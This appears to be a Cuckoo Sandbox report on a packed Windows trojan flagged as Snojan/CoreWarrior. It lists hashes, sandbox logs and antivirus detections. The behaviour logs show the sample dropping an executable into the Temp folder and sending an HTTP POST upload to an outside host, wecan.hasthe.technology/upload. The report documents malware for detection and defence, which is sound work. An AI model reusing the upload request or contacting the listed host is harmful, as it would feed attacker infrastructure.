Cuckoo Sandbox

File 15a64268adcdef9868e7ee0099fdf3561e5f759d39779f1bbe8b2b585a9ec253

Summary
Download Resubmit sample

Size	83.1KB
Type	PE32 executable (console) Intel 80386 (stripped to external PDB), for MS Windows, UPX compressed
MD5	`8de1b06b72cadcab439117f7e03b7692`
SHA1	`84656a27606c778f84d98cf42ab6535a1bc61155`
SHA256	`15a64268adcdef9868e7ee0099fdf3561e5f759d39779f1bbe8b2b585a9ec253`
SHA512	`5c079303630d6ea2f5d4e7773b4ae018c85fcef3951e459b92db7fb62b241e35dbec69ca0e4d4bd25e124fe16459377f6656b3d9056154630608d9f17b88ab2b`
CRC32	`F187993F`
ssdeep	`None`
Yara	UPX - (no description) suspicious_packer_section - The packer/protector section names/keywords network_tcp_socket - Communications over RAW socket

Score

This file is very suspicious, with a score of 10 out of 10!

Please notice: The scoring system is currently still in development and should be considered an alpha feature.

Autosubmit

6487585

Feedback

Expecting different results? Send us this analysis and we will inspect it. Click here

Information on Execution

Analysis

Category	Started	Completed	Duration	Routing	Logs
FILE	May 18, 2025, 10:47 a.m.	May 18, 2025, 10:48 a.m.	68 seconds	internet	Show Analyzer Log Show Cuckoo Log

Analyzer Log

2025-05-18 10:26:12,000 [analyzer] DEBUG: Starting analyzer from: C:\tmpdrdvpd
2025-05-18 10:26:12,000 [analyzer] DEBUG: Pipe server name: \??\PIPE\tNYGOknluPEfGpepQccwzd
2025-05-18 10:26:12,000 [analyzer] DEBUG: Log pipe server name: \??\PIPE\josAoNFmEFtMjASeiZuiaj
2025-05-18 10:26:12,233 [analyzer] DEBUG: Started auxiliary module Curtain
2025-05-18 10:26:12,233 [analyzer] DEBUG: Started auxiliary module DbgView
2025-05-18 10:26:12,717 [analyzer] DEBUG: Started auxiliary module Disguise
2025-05-18 10:26:12,921 [analyzer] DEBUG: Loaded monitor into process with pid 508
2025-05-18 10:26:12,921 [analyzer] DEBUG: Started auxiliary module DumpTLSMasterSecrets
2025-05-18 10:26:12,921 [analyzer] DEBUG: Started auxiliary module Human
2025-05-18 10:26:12,921 [analyzer] DEBUG: Started auxiliary module InstallCertificate
2025-05-18 10:26:12,921 [analyzer] DEBUG: Started auxiliary module Reboot
2025-05-18 10:26:13,015 [analyzer] DEBUG: Started auxiliary module RecentFiles
2025-05-18 10:26:13,015 [analyzer] DEBUG: Started auxiliary module Screenshots
2025-05-18 10:26:13,015 [analyzer] DEBUG: Started auxiliary module Sysmon
2025-05-18 10:26:13,015 [analyzer] DEBUG: Started auxiliary module LoadZer0m0n
2025-05-18 10:26:13,171 [lib.api.process] INFO: Successfully executed process from path u'C:\\Users\\ADMINI~1\\AppData\\Local\\Temp\\15a64268adcdef9868e7ee0099fdf3561e5f759d39779f1bbe8b2b585a9ec253.exe' with arguments '' and pid 2948
2025-05-18 10:26:13,405 [analyzer] DEBUG: Loaded monitor into process with pid 2948
2025-05-18 10:26:13,421 [analyzer] INFO: Added new file to list with pid 2948 and path C:\Users\Administrator\AppData\Local\Temp\rifaien2-jVjCCey0MJF6cpYv.exe
2025-05-18 10:26:42,171 [analyzer] INFO: Analysis timeout hit, terminating analysis.
2025-05-18 10:26:42,625 [analyzer] INFO: Terminating remaining processes before shutdown.
2025-05-18 10:26:42,640 [lib.api.process] INFO: Successfully terminated process with pid 2948.
2025-05-18 10:26:42,640 [analyzer] INFO: Analysis completed.

Cuckoo Log

2025-05-18 10:47:21,586 [cuckoo.core.scheduler] INFO: Task #6483274: acquired machine win7x6412 (label=win7x6412)
2025-05-18 10:47:21,586 [cuckoo.core.resultserver] DEBUG: Now tracking machine 192.168.168.212 for task #6483274
2025-05-18 10:47:21,689 [cuckoo.auxiliary.sniffer] INFO: Started sniffer with PID 929603 (interface=vboxnet0, host=192.168.168.212)
2025-05-18 10:47:21,743 [cuckoo.machinery.virtualbox] DEBUG: Starting vm win7x6412
2025-05-18 10:47:21,980 [cuckoo.machinery.virtualbox] DEBUG: Restoring virtual machine win7x6412 to vmcloak
2025-05-18 10:47:30,354 [cuckoo.core.guest] INFO: Starting analysis #6483274 on guest (id=win7x6412, ip=192.168.168.212)
2025-05-18 10:47:31,359 [cuckoo.core.guest] DEBUG: win7x6412: not ready yet
2025-05-18 10:47:36,387 [cuckoo.core.guest] INFO: Guest is running Cuckoo Agent 0.10 (id=win7x6412, ip=192.168.168.212)
2025-05-18 10:47:36,452 [cuckoo.core.guest] DEBUG: Uploading analyzer to guest (id=win7x6412, ip=192.168.168.212, monitor=latest, size=6660546)
2025-05-18 10:47:37,729 [cuckoo.core.resultserver] DEBUG: Task #6483274: live log analysis.log initialized.
2025-05-18 10:47:38,601 [cuckoo.core.resultserver] DEBUG: Task #6483274 is sending a BSON stream
2025-05-18 10:47:39,071 [cuckoo.core.resultserver] DEBUG: Task #6483274 is sending a BSON stream
2025-05-18 10:47:39,640 [cuckoo.core.resultserver] DEBUG: Task #6483274: File upload for 'files/22fdb4382d83052a_rifaien2-jVjCCey0MJF6cpYv.exe'
2025-05-18 10:47:39,645 [cuckoo.core.resultserver] DEBUG: Task #6483274 uploaded file length: 85057
2025-05-18 10:47:39,882 [cuckoo.core.resultserver] DEBUG: Task #6483274: File upload for 'shots/0001.jpg'
2025-05-18 10:47:39,895 [cuckoo.core.resultserver] DEBUG: Task #6483274 uploaded file length: 171723
2025-05-18 10:47:52,362 [cuckoo.core.guest] DEBUG: win7x6412: analysis #6483274 still processing
2025-05-18 10:48:07,447 [cuckoo.core.guest] DEBUG: win7x6412: analysis #6483274 still processing
2025-05-18 10:48:08,205 [cuckoo.core.resultserver] DEBUG: Task #6483274: File upload for 'curtain/1747556802.45.curtain.log'
2025-05-18 10:48:08,208 [cuckoo.core.resultserver] DEBUG: Task #6483274 uploaded file length: 36
2025-05-18 10:48:08,377 [cuckoo.core.resultserver] DEBUG: Task #6483274: File upload for 'sysmon/1747556802.62.sysmon.xml'
2025-05-18 10:48:08,385 [cuckoo.core.resultserver] DEBUG: Task #6483274 uploaded file length: 594766
2025-05-18 10:48:08,852 [cuckoo.core.resultserver] DEBUG: Task #6483274: File upload for 'shots/0002.jpg'
2025-05-18 10:48:08,861 [cuckoo.core.resultserver] DEBUG: Task #6483274 uploaded file length: 133526
2025-05-18 10:48:08,877 [cuckoo.core.resultserver] DEBUG: Task #6483274 had connection reset for <Context for LOG>
2025-05-18 10:48:10,464 [cuckoo.core.guest] INFO: win7x6412: analysis completed successfully
2025-05-18 10:48:10,482 [cuckoo.core.plugins] DEBUG: Stopped auxiliary module: Redsocks
2025-05-18 10:48:10,516 [cuckoo.core.plugins] DEBUG: Stopped auxiliary module: Sniffer
2025-05-18 10:48:10,872 [cuckoo.machinery.virtualbox] INFO: Successfully generated memory dump for virtual machine with label win7x6412 to path /srv/cuckoo/cwd/storage/analyses/6483274/memory.dmp
2025-05-18 10:48:10,874 [cuckoo.machinery.virtualbox] DEBUG: Stopping vm win7x6412
2025-05-18 10:48:29,351 [cuckoo.core.resultserver] DEBUG: Stopped tracking machine 192.168.168.212 for task #6483274
2025-05-18 10:48:30,081 [cuckoo.core.scheduler] DEBUG: Released database task #6483274
2025-05-18 10:48:30,107 [cuckoo.core.scheduler] INFO: Task #6483274: analysis procedure completed

Signatures

Yara rules detected for file (3 events)

description	(no description)	rule	UPX
description	The packer/protector section names/keywords	rule	suspicious_packer_section
description	Communications over RAW socket	rule	network_tcp_socket

Command line console output was observed (30 events)

Time & API	Arguments	Status	Return
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: ma num wa rifaien yanje v1.0 console_handle: 0x00000007	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: ma num wa gyen orn hyzik rifaien2-jVjCCey0MJF6cpYv.exe en exec ween NODE3 console_handle: 0x00000007	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: P console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: OST /upload HTTP/1.1 Host: wecan.hasthe.technology Accept: / Content-Length: 85477 Expect: 100-continue Content-Type: multipart/form-data; boundary=------------------------5829c2d711b05cfc console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: H console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: TTP/1.1 100 Continue console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: H console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: TTP/1.1 200 OK console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: d console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: ate: Sun, 18 May 2025 07:47:38 GMT console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: c console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: ontent-type: text/html; charset=utf-8 console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: c console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: ontent-length: 1078 console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: x console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: -request-id: a7ab94df-db7c-4f28-b0d5-34751f4c0c94 console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: c console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: ache-control: no-store, max-age=0 console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: a console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: ccept-ch: sec-ch-prefers-color-scheme console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: c console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: ritical-ch: sec-ch-prefers-color-scheme console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: v console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: ary: sec-ch-prefers-color-scheme console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: x console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: -adblock-key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_qlkLsuvMcnfbL6VxLgZ6eGoNRSheLyO2LdXURjmGKnFnKhRnmebxi7W+21fCAKNFft3+9dtOSt2wCUsznY21fw== console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: s console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: et-cookie: parking_session=a7ab94df-db7c-4f28-b0d5-34751f4c0c94; expires=Sun, 18 May 2025 08:02:39 GMT; path=/ console_handle: 0x0000000b	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: !doctype html> <html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_qlkLsuvMcnfbL6VxLgZ6eGoNRSheLyO2LdXURjmGKnFnKhRnmebxi7W+21fCAKNFft3+9dtOSt2wCUsznY21fw==" lang="en" style="background: #2B2B2B;"> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="preconnect" href="https://www.google.com" crossorigin> </head> <body> <div id="target" style="opacity: 0"></div> <script>window.park = "eyJ1dWlkIjoiYTdhYjk0ZGYtZGI3Yy00ZjI4LWIwZDUtMzQ3NTFmNGMwYzk0IiwicGFnZV90aW1lIjoxNzQ3NTU0NDU5LCJwYWdlX3VybCI6Imh0dHA6Ly93ZWNhbi5oYXN0aGUudGVjaG5vbG9neS91cGxvYWQiLCJwYWdlX21ldGhvZCI6IlBPU1QiLCJwYWdlX3JlcXVlc3QiOnt9LCJwYWdlX2hlYWRlcnMiOnt9LCJob3N0Ijoid2VjYW4uaGFzdGhlLnRlY2hub2xvZ3kiLCJpcCI6IjQ2LjIyNi4xNDMuNzQifQo=";< console_handle: 0x00000007	1	1
WriteConsoleA May 18, 2025, 11:26 a.m.	buffer: /script> <script src="/bqDUlUkQf.js"></script> </body> </html> console_handle: 0x00000007	1	1

The executable uses a known packer (1 event)

packer

UPX 2.90 [LZMA] -> Markus Oberhumer, Laszlo Molnar & John Reiser

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

POST method with no referer header, POST method with no useragent header

suspicious_request

POST http://wecan.hasthe.technology/upload

Performs some HTTP requests (1 event)

request

POST http://wecan.hasthe.technology/upload

Sends data using the HTTP POST Method (1 event)

request

POST http://wecan.hasthe.technology/upload

Creates executable files on the filesystem (1 event)

file	C:\Users\Administrator\AppData\Local\Temp\rifaien2-jVjCCey0MJF6cpYv.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\Administrator\AppData\Local\Temp\rifaien2-jVjCCey0MJF6cpYv.exe

The binary likely contains encrypted or compressed data indicative of a packer (2 events)

section

{u'size_of_data': u'0x00014800', u'virtual_address': u'0x00014000', u'entropy': 7.7111178711986135, u'name': u'UPX1', u'virtual_size': u'0x00015000'}

entropy

7.7111178712

description

A section with a high entropy has been found

entropy

0.993939393939

description

Overall entropy of this PE file is high

The executable is compressed using UPX (3 events)

section	UPX0	description	Section name indicates UPX
section	UPX1	description	Section name indicates UPX
section	UPX2	description	Section name indicates UPX

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 97653fe98384b5bef285a95b60548b73adae825a

Raised Suricata alerts (2 events)

suricata	ETPRO MALWARE Win32/Snojan Variant Uploading EXE
suricata	ET INFO Generic HTTP EXE Upload Outbound

File has been identified by 10 AntiVirus engine on IRMA as malicious (10 events)

G Data Antivirus (Windows)	Virus: Trojan.Agent.CYZT (Engine A), Win32.Application.Snojan.A (Engine B)
Avast Core Security (Linux)	Win32:MalwareX-gen [Trj]
C4S ClamAV (Linux)	YARA.UPX.UNOFFICIAL
WithSecure (Linux)	Trojan.TR/Crypt.ULPM.Gen2
ESET Security (Windows)	a variant of Win32/Agent.AAEF trojan
Sophos Anti-Virus (Linux)	Troj/Bdoor-BHD
ClamAV (Linux)	Win.Malware.Cymt-10023133-0
Bitdefender Antivirus (Linux)	Trojan.Agent.CYZT
Kaspersky Standard (Windows)	HEUR:Flooder.Win32.CoreWarrior.a
Emsisoft Commandline Scanner (Windows)	Trojan.Agent.CYZT (B)

File has been identified by 57 AntiVirus engines on VirusTotal as malicious (50 out of 57 events)

Bkav	W32.AIDetectMalware
Cynet	Malicious (score: 100)
CAT-QuickHeal	Trojan.AgentbPMF.S33725804
Skyhigh	BehavesLike.Win32.ToolSnojan.mc
ALYac	Trojan.Agent.CYZT
Cylance	Unsafe
VIPRE	Trojan.Agent.CYZT
Sangfor	Trojan.Win32.Save.a
CrowdStrike	win/malicious_confidence_70% (D)
BitDefender	Trojan.Agent.CYZT
K7GW	Trojan ( 005464da1 )
K7AntiVirus	Trojan ( 00575d031 )
Arcabit	Trojan.Agent.CYZT
VirIT	Trojan.Win32.AgentT.DYK
Symantec	Hacktool.Flooder
Elastic	malicious (moderate confidence)
ESET-NOD32	a variant of Win32/Agent.AAEF
Avast	Win32:MalwareX-gen [Trj]
ClamAV	Win.Malware.Cymt-10023133-0
Kaspersky	HEUR:Flooder.Win32.CoreWarrior.a
NANO-Antivirus	Trojan.Win32.Snojan.jqzopm
MicroWorld-eScan	Trojan.Agent.CYZT
Rising	Downloader.Snojan!8.ECDD (TFE:5:V47YrAkOYKG)
Emsisoft	Trojan.Agent.CYZT (B)
F-Secure	Trojan.TR/Crypt.ULPM.Gen2
DrWeb	Tool.Snojan.1
Zillya	Tool.CoreWarrior.Win32.18
McAfeeD	Real Protect-LS!8DE1B06B72CA
Trapmine	suspicious.low.ml.score
CTX	exe.trojan.cyzt
Sophos	Troj/Bdoor-BHD
SentinelOne	Static AI - Suspicious PE
Jiangmin	Downloader.Snojan.adp
Webroot	Win.Trojan.Cyzt
Google	Detected
Avira	TR/Crypt.ULPM.Gen2
Antiy-AVL	Trojan/Win32.Phonzy
Xcitium	TrojWare.Win32.Snojan.B@7h1cjp
Microsoft	Trojan:Win32/CoreWarrior.DA!MTB
ZoneAlarm	Troj/Bdoor-BHD
GData	Win32.Application.Snojan.A
Varist	W32/Agent.FBOO-5422
AhnLab-V3	Downloader/Win.Generic.R665906
Acronis	suspicious
McAfee	GenericRXWO-RA!739F51453955
DeepInstinct	MALICIOUS
VBA32	Flooder.CoreWarrior
Malwarebytes	Malware.AI.3504857405
Ikarus	Trojan.Agent
Panda	Trj/Genetic.gen

Screenshots

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action	VT	Location
No hosts contacted.

Browser recommendation

File 15a64268adcdef9868e7ee0099fdf3561e5f759d39779f1bbe8b2b585a9ec253

Summary Download Resubmit sample

Score

Autosubmit

Feedback

Information on Execution

Analyzer Log

Cuckoo Log

Signatures

Feedback

Summary
Download Resubmit sample